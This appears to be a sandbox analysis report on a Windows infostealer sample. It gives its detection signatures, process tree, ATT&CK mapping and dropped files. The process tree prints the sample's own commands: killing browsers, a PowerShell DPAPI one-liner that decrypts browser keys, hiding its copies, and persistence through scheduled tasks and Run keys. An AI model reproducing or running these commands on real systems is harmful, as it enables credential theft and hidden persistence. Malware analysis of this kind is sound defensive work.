Overview

overview

10

Static

static

10

2026-05-11...er.exe

windows10-2004-x64

9

2026-05-11...er.exe

windows11-21h2-x64

9

Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    11/05/2026, 03:50

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe
  • Size 80.0MB
  • Sample260511-eeah3aet3l
  • SHA256 eb3158cb96fef3760693eadfeea3e170bf165355abc9f37009318699ae7737a0
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasionexecutionpersistencespywarestealer

Malware Config

Signatures

  • Enumerates VirtualBox DLL files 2 TTPs 2 IoCs
  • Looks for VirtualBox drivers on disk 2 TTPs 4 IoCs
    defense_evasion
  • Looks for VirtualBox executables on disk 2 TTPs 2 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Looks for VMWare drivers on disk 2 TTPs 3 IoCs
    defense_evasion
  • Drops startup file 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Using powershell.exe command.

    execution
  • Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 10 IoCs
    defense_evasion
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 8 IoCs
    defense_evasion
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 26 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Views/modifies file attributes 1 TTPs 10 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe"
    1⤵
    • Enumerates VirtualBox DLL files
    • Looks for VirtualBox drivers on disk
    • Looks for VirtualBox executables on disk
    • Drops file in Drivers directory
    • Looks for VMWare drivers on disk
    • Drops startup file
    • Suspicious use of WriteProcessMemory
    PID:5980
    • C:\Windows\system32\cmd.exe
      "cmd" /C chcp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4616
      • C:\Windows\system32\chcp.com
        chcp
        3⤵
          PID:4624
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\priv_1778471467883.ps1
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4660
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4d124kpe\4d124kpe.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:6036
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEFBF.tmp" "c:\Users\Admin\AppData\Local\Temp\4d124kpe\CSC11D47333CA0C402EAF3D7F6CDED3E667.TMP"
            4⤵
              PID:5160
        • C:\Windows\system32\cmd.exe
          "cmd" /C systeminfo
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5884
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:4324
        • C:\Windows\system32\cmd.exe
          "cmd" /C "fsutil volume diskfree C:"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2044
          • C:\Windows\system32\fsutil.exe
            fsutil volume diskfree C:
            3⤵
              PID:3020
          • C:\Windows\system32\cmd.exe
            "cmd" /C "fsutil volume diskfree C:"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4500
            • C:\Windows\system32\fsutil.exe
              fsutil volume diskfree C:
              3⤵
                PID:2604
            • C:\Windows\system32\taskkill.exe
              "taskkill" /F /T /IM chrome.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1048
            • C:\Windows\system32\taskkill.exe
              "taskkill" /F /T /IM brave.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1788
            • C:\Windows\system32\taskkill.exe
              "taskkill" /F /T /IM msedge.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2056
            • C:\Windows\system32\taskkill.exe
              "taskkill" /F /T /IM vivaldi.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2624
            • C:\Windows\system32\taskkill.exe
              "taskkill" /F /T /IM opera.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:5568
            • C:\Windows\system32\taskkill.exe
              "taskkill" /F /T /IM opera.exe
              2⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3604
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; $b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA4iGQDJPT3U23TH+ycf6mdRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAKJF7sJzE/ufDJkiXa+CuKcI41mTrB+F1KLot9cMEtJ6AAAAAA6AAAAAAgAAIAAAAJDKjRxjbU2IbsQWCll3DMWMUqIHjgF+RsKCPDxVBvZPMAAAAHN0JXD6ySAFc6CqDokrkKPUXKR3KMdqUZPAql4u9FpMrYl1yf+KvcFl0/mAb7Ep20AAAADVCvmqWysL5qMHnsCEi00/iEDpEuhjZ+1fcK2mxwyXvcw42vOXvzba6Pduyj6dBjxuLFPl1YKkRrle/k+YTn88'); $d=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,'CurrentUser'); [Convert]::ToBase64String($d)"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4872
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\ke_1778471475868.ps1
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1268
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\px1f4r3c\px1f4r3c.cmdline"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:5148
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEB1.tmp" "c:\Users\Admin\AppData\Local\Temp\px1f4r3c\CSCF5DCB15E6A734F829F2EA3A0CE2CFDC.TMP"
                  4⤵
                    PID:636
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; $b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA4iGQDJPT3U23TH+ycf6mdRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAmY6r253BAFN+VqX/5yRf+10M6E+fSxfen+G0XEoU1R0AAAAADoAAAAACAAAgAAAAGE9fIsLHhb36PZbcoH40i6an32chp4SBj0Gv0tunBAEwAAAAR8Ae21quRLGf5yuGP3zXOId7/5tEBK+JX68uiJ5RqSWGHN4g6rK8aaDw2OLT4si2QAAAAG7fnN2kSUFI2jU9XnS/rbDkfZvcuUL/1s8KsBob8dTtcb6c39cBTTdYTf68XuWlSEAM6KGE0+yb45SG2ZJ3G3c='); $d=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,'CurrentUser'); [Convert]::ToBase64String($d)"
                2⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:5580
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\ke_1778471477500.ps1
                2⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:5728
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wzt1cqzg\wzt1cqzg.cmdline"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4120
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1690.tmp" "c:\Users\Admin\AppData\Local\Temp\wzt1cqzg\CSCBB287C399B554DA3BD74EF8F559CD4D0.TMP"
                    4⤵
                      PID:400
                • C:\Windows\system32\taskkill.exe
                  "taskkill" /F /T /IM firefox.exe
                  2⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1892
                • C:\Windows\system32\taskkill.exe
                  "taskkill" /F /T /IM librewolf.exe
                  2⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3992
                • C:\Windows\system32\cmd.exe
                  "cmd" /C "ipconfig /all"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:208
                  • C:\Windows\system32\ipconfig.exe
                    ipconfig /all
                    3⤵
                    • Gathers network information
                    PID:5768
                • C:\Windows\system32\cmd.exe
                  "cmd" /C "ipconfig /displaydns"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5296
                  • C:\Windows\system32\ipconfig.exe
                    ipconfig /displaydns
                    3⤵
                    • Gathers network information
                    PID:4460
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "powershell" -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; $b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA4iGQDJPT3U23TH+ycf6mdRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAKJF7sJzE/ufDJkiXa+CuKcI41mTrB+F1KLot9cMEtJ6AAAAAA6AAAAAAgAAIAAAAJDKjRxjbU2IbsQWCll3DMWMUqIHjgF+RsKCPDxVBvZPMAAAAHN0JXD6ySAFc6CqDokrkKPUXKR3KMdqUZPAql4u9FpMrYl1yf+KvcFl0/mAb7Ep20AAAADVCvmqWysL5qMHnsCEi00/iEDpEuhjZ+1fcK2mxwyXvcw42vOXvzba6Pduyj6dBjxuLFPl1YKkRrle/k+YTn88'); $d=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,'CurrentUser'); [Convert]::ToBase64String($d)"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:376
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "powershell" -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; $b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA4iGQDJPT3U23TH+ycf6mdRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAmY6r253BAFN+VqX/5yRf+10M6E+fSxfen+G0XEoU1R0AAAAADoAAAAACAAAgAAAAGE9fIsLHhb36PZbcoH40i6an32chp4SBj0Gv0tunBAEwAAAAR8Ae21quRLGf5yuGP3zXOId7/5tEBK+JX68uiJ5RqSWGHN4g6rK8aaDw2OLT4si2QAAAAG7fnN2kSUFI2jU9XnS/rbDkfZvcuUL/1s8KsBob8dTtcb6c39cBTTdYTf68XuWlSEAM6KGE0+yb45SG2ZJ3G3c='); $d=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,'CurrentUser'); [Convert]::ToBase64String($d)"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1584
                • C:\Windows\system32\cmd.exe
                  "cmd" /C "sc query type= service state= all"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4832
                  • C:\Windows\system32\sc.exe
                    sc query type= service state= all
                    3⤵
                    • Launches sc.exe
                    PID:2240
                • C:\Windows\system32\cmd.exe
                  "cmd" /C "attrib +h +s \"C:\ProgramData\Microsoft\WindowsUpdate\""
                  2⤵
                  • Hide Artifacts: Hidden Files and Directories
                  • Suspicious use of WriteProcessMemory
                  PID:2492
                  • C:\Windows\system32\attrib.exe
                    attrib +h +s \"C:\ProgramData\Microsoft\WindowsUpdate\"
                    3⤵
                    • Views/modifies file attributes
                    PID:4484
                • C:\Windows\system32\cmd.exe
                  "cmd" /C "attrib +h +s \"C:\ProgramData\Microsoft\WindowsUpdate\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\""
                  2⤵
                  • Hide Artifacts: Hidden Files and Directories
                  • Suspicious use of WriteProcessMemory
                  PID:4324
                  • C:\Windows\system32\attrib.exe
                    attrib +h +s \"C:\ProgramData\Microsoft\WindowsUpdate\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\"
                    3⤵
                    • Views/modifies file attributes
                    PID:984
                • C:\Windows\system32\cmd.exe
                  "cmd" /C "attrib +h +s \"C:\Windows\System32\drivers\""
                  2⤵
                  • Hide Artifacts: Hidden Files and Directories
                  • Suspicious use of WriteProcessMemory
                  PID:6044
                  • C:\Windows\system32\attrib.exe
                    attrib +h +s \"C:\Windows\System32\drivers\"
                    3⤵
                    • Views/modifies file attributes
                    PID:2604
                • C:\Windows\system32\cmd.exe
                  "cmd" /C "attrib +h +s \"C:\Windows\System32\drivers\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\""
                  2⤵
                  • Hide Artifacts: Hidden Files and Directories
                  • Suspicious use of WriteProcessMemory
                  PID:5260
                  • C:\Windows\system32\attrib.exe
                    attrib +h +s \"C:\Windows\System32\drivers\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\"
                    3⤵
                    • Views/modifies file attributes
                    PID:1192
                • C:\Windows\system32\cmd.exe
                  "cmd" /C "attrib +h +s \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\""
                  2⤵
                  • Hide Artifacts: Hidden Files and Directories
                  • Suspicious use of WriteProcessMemory
                  PID:5476
                  • C:\Windows\system32\attrib.exe
                    attrib +h +s \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
                    3⤵
                    • Views/modifies file attributes
                    PID:4940
                • C:\Windows\system32\cmd.exe
                  "cmd" /C "attrib +h +s \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\""
                  2⤵
                  • Hide Artifacts: Hidden Files and Directories
                  • Suspicious use of WriteProcessMemory
                  PID:1220
                  • C:\Windows\system32\attrib.exe
                    attrib +h +s \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\"
                    3⤵
                    • Views/modifies file attributes
                    PID:3460
                • C:\Windows\system32\cmd.exe
                  "cmd" /C "attrib +h +s \"C:\ProgramData\WindowsService\""
                  2⤵
                  • Hide Artifacts: Hidden Files and Directories
                  • Suspicious use of WriteProcessMemory
                  PID:5292
                  • C:\Windows\system32\attrib.exe
                    attrib +h +s \"C:\ProgramData\WindowsService\"
                    3⤵
                    • Views/modifies file attributes
                    PID:1204
                • C:\Windows\system32\cmd.exe
                  "cmd" /C "attrib +h +s \"C:\ProgramData\WindowsService\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\""
                  2⤵
                  • Hide Artifacts: Hidden Files and Directories
                  • Suspicious use of WriteProcessMemory
                  PID:4456
                  • C:\Windows\system32\attrib.exe
                    attrib +h +s \"C:\ProgramData\WindowsService\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\"
                    3⤵
                    • Views/modifies file attributes
                    PID:2552
                • C:\Windows\system32\cmd.exe
                  "cmd" /C "attrib +h +s \"C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\""
                  2⤵
                  • Hide Artifacts: Hidden Files and Directories
                  • Suspicious use of WriteProcessMemory
                  PID:4948
                  • C:\Windows\system32\attrib.exe
                    attrib +h +s \"C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\"
                    3⤵
                    • Views/modifies file attributes
                    PID:2536
                • C:\Windows\system32\cmd.exe
                  "cmd" /C "attrib +h +s \"C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\""
                  2⤵
                  • Hide Artifacts: Hidden Files and Directories
                  • Suspicious use of WriteProcessMemory
                  PID:4864
                  • C:\Windows\system32\attrib.exe
                    attrib +h +s \"C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\"
                    3⤵
                    • Views/modifies file attributes
                    PID:572
                • C:\Windows\system32\cmd.exe
                  "cmd" /C "schtasks /create /tn \"MicrosoftEdgeUpdateService\" /tr \"\\\"C:\ProgramData\Microsoft\WindowsUpdate\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\\\"\" /sc onlogon /rl highest /f"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:6128
                  • C:\Windows\system32\schtasks.exe
                    schtasks /create /tn \"MicrosoftEdgeUpdateService\" /tr \"\\\"C:\ProgramData\Microsoft\WindowsUpdate\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\\\"\" /sc onlogon /rl highest /f
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5144
                • C:\Windows\system32\cmd.exe
                  "cmd" /C "reg add \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v \"WindowsSecurityHealth\" /t REG_SZ /d \"\\\"C:\ProgramData\Microsoft\WindowsUpdate\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\\\"\" /f"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2668
                  • C:\Windows\system32\reg.exe
                    reg add \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v \"WindowsSecurityHealth\" /t REG_SZ /d \"\\\"C:\ProgramData\Microsoft\WindowsUpdate\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\\\"\" /f
                    3⤵
                      PID:4872
                  • C:\Windows\system32\cmd.exe
                    "cmd" /C "reg add \"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" /v \"WindowsDefenderUpdate\" /t REG_SZ /d \"\\\"C:\ProgramData\Microsoft\WindowsUpdate\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\\\"\" /f"
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2680
                    • C:\Windows\system32\reg.exe
                      reg add \"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" /v \"WindowsDefenderUpdate\" /t REG_SZ /d \"\\\"C:\ProgramData\Microsoft\WindowsUpdate\2026-05-11_aa271401a5549a1d3fe81aa32dc845f7_akira_glassworm_rusty-stealer.exe\\\"\" /f
                      3⤵
                        PID:3508

                  Network

                        MITRE ATT&CK Enterprise v16

                        Reconnaissance

                        Resource Development

                        Initial Access

                        Execution

                        Command and Scripting Interpreter

                        2
                        T1059

                        PowerShell

                        1
                        T1059.001

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        Persistence

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        Privilege Escalation

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        Defense Evasion

                        Hide Artifacts

                        2
                        T1564

                        Hidden Files and Directories

                        2
                        T1564.001

                        Obfuscated Files or Information

                        1
                        T1027

                        Command Obfuscation

                        1
                        T1027.010

                        Virtualization/Sandbox Evasion

                        4
                        T1497

                        Credential Access

                        Credentials from Password Stores

                        1
                        T1555

                        Credentials from Web Browsers

                        1
                        T1555.003

                        Unsecured Credentials

                        1
                        T1552

                        Credentials In Files

                        1
                        T1552.001

                        Discovery

                        File and Directory Discovery

                        4
                        T1083

                        Query Registry

                        1
                        T1012

                        System Information Discovery

                        2
                        T1082

                        Virtualization/Sandbox Evasion

                        4
                        T1497

                        Lateral Movement

                        Collection

                        Data from Local System

                        1
                        T1005

                        Command and Control

                        Web Service

                        1
                        T1102

                        Exfiltration

                        Impact

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        powershell.exe.log
                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                        • Size 2KB
                        • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        StartupProfileData-NonInteractive
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 6d7ffd58f04251f2da8b3ab7dfe61ba0fdda12a7c1649dfe2e9444b041bf5e95
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        StartupProfileData-NonInteractive
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 9b7ca45b2cf5eef41c9e5a52e20fcbe9c52e7f335e27f7ca6c653063617fb0ce
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        StartupProfileData-NonInteractive
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 d5f31138391af690bb1a40ee206532f9d1b76e990bcdf03e43681998c0047f12
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        StartupProfileData-NonInteractive
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 ef2f8279bc6e3ea5d7c930b710c96c0f9d42412bbcefc2016b69a2a8eec16b25
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        StartupProfileData-NonInteractive
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 76ad0bbff57672dac7d1f6815e4c016c4794b40fb85e91357494d2245931908d
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        StartupProfileData-NonInteractive
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 69ee30d1fdaeb38da2740215a13ba16d576b711aa21811c61518f84d627e0483
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        4d124kpe.dll
                        • Path C:\Users\Admin\AppData\Local\Temp\4d124kpe\4d124kpe.dll
                        • Size 4KB
                        • SHA256 c924572dc214060c06f898cc77d39c6c4295fc5cad1a5a5d0917b7855385dbf7
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        RES1690.tmp
                        • Path C:\Users\Admin\AppData\Local\Temp\RES1690.tmp
                        • Size 1KB
                        • SHA256 ff855531c23dcd39f8493b841e3629c3a10da09a841eb0bc0c0f16f21d68c46e
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        RESEB1.tmp
                        • Path C:\Users\Admin\AppData\Local\Temp\RESEB1.tmp
                        • Size 1KB
                        • SHA256 ad38e433c66b0a364d6252034835e3d605806b6b7735c832ccfa9ff63e0f2780
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        RESEFBF.tmp
                        • Path C:\Users\Admin\AppData\Local\Temp\RESEFBF.tmp
                        • Size 1KB
                        • SHA256 bbfb3c3d2b4a892b507cb9139f15cb3000ac1f4866761d753d43baa09aa7b27c
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        __PSScriptPolicyTest_baafavqa.req.ps1
                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_baafavqa.req.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        ke_1778471475868.ps1
                        • Path C:\Users\Admin\AppData\Local\Temp\ke_1778471475868.ps1
                        • Size 6KB
                        • SHA256 712b170c13fd230120e6de741a5cec9e37eb8c521c7f76655846e79809b22442
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        ke_1778471477500.ps1
                        • Path C:\Users\Admin\AppData\Local\Temp\ke_1778471477500.ps1
                        • Size 6KB
                        • SHA256 b889203a9b758b501579cde15ae44e234be00bc4328e5da9a832f46a11647a1c
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        priv_1778471467883.ps1
                        • Path C:\Users\Admin\AppData\Local\Temp\priv_1778471467883.ps1
                        • Size 1KB
                        • SHA256 196c9e8913e7e441b9d4723e6697b5ba2e7779062071e9b62f81649ccc1eddf6
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        px1f4r3c.dll
                        • Path C:\Users\Admin\AppData\Local\Temp\px1f4r3c\px1f4r3c.dll
                        • Size 5KB
                        • SHA256 15dc63f6239cb9aab1dbbd58bf3ba765fc6db48837b491f0cd6431fd514a6175
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        cookies.txt
                        • Path C:\Users\Admin\AppData\Local\Temp\winsvc_1778471471413\chrome\default\cookies.txt
                        • Size 262B
                        • SHA256 0bda249f6105d1a65a50f20a10ec3a83fa16eaabd93e548d8b1d6fa5cdcaf91a
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        cookies.txt
                        • Path C:\Users\Admin\AppData\Local\Temp\winsvc_1778471471413\edge\default\cookies.txt
                        • Size 225B
                        • SHA256 7d1bc2e99c218aadf5dbc339ed343672b45c7c84961cee1197afecf618e71e64
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        wzt1cqzg.dll
                        • Path C:\Users\Admin\AppData\Local\Temp\wzt1cqzg\wzt1cqzg.dll
                        • Size 5KB
                        • SHA256 6bee4fc23fcd610b15aa2a1de2702b27368b0b4e6e3aeaf83f09ba614c49f038
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        4d124kpe.0.cs
                        • Path \??\c:\Users\Admin\AppData\Local\Temp\4d124kpe\4d124kpe.0.cs
                        • Size 1KB
                        • SHA256 54b820cfb35f02d4184f54185661c6674d8c784b47cdad1af601c9a3f4a6ee39
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        4d124kpe.cmdline
                        • Path \??\c:\Users\Admin\AppData\Local\Temp\4d124kpe\4d124kpe.cmdline
                        • Size 369B
                        • SHA256 01200412bbf43d1b43298f78f9da2f73e27fe2df721054d3be8ac8b64b60b3f9
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

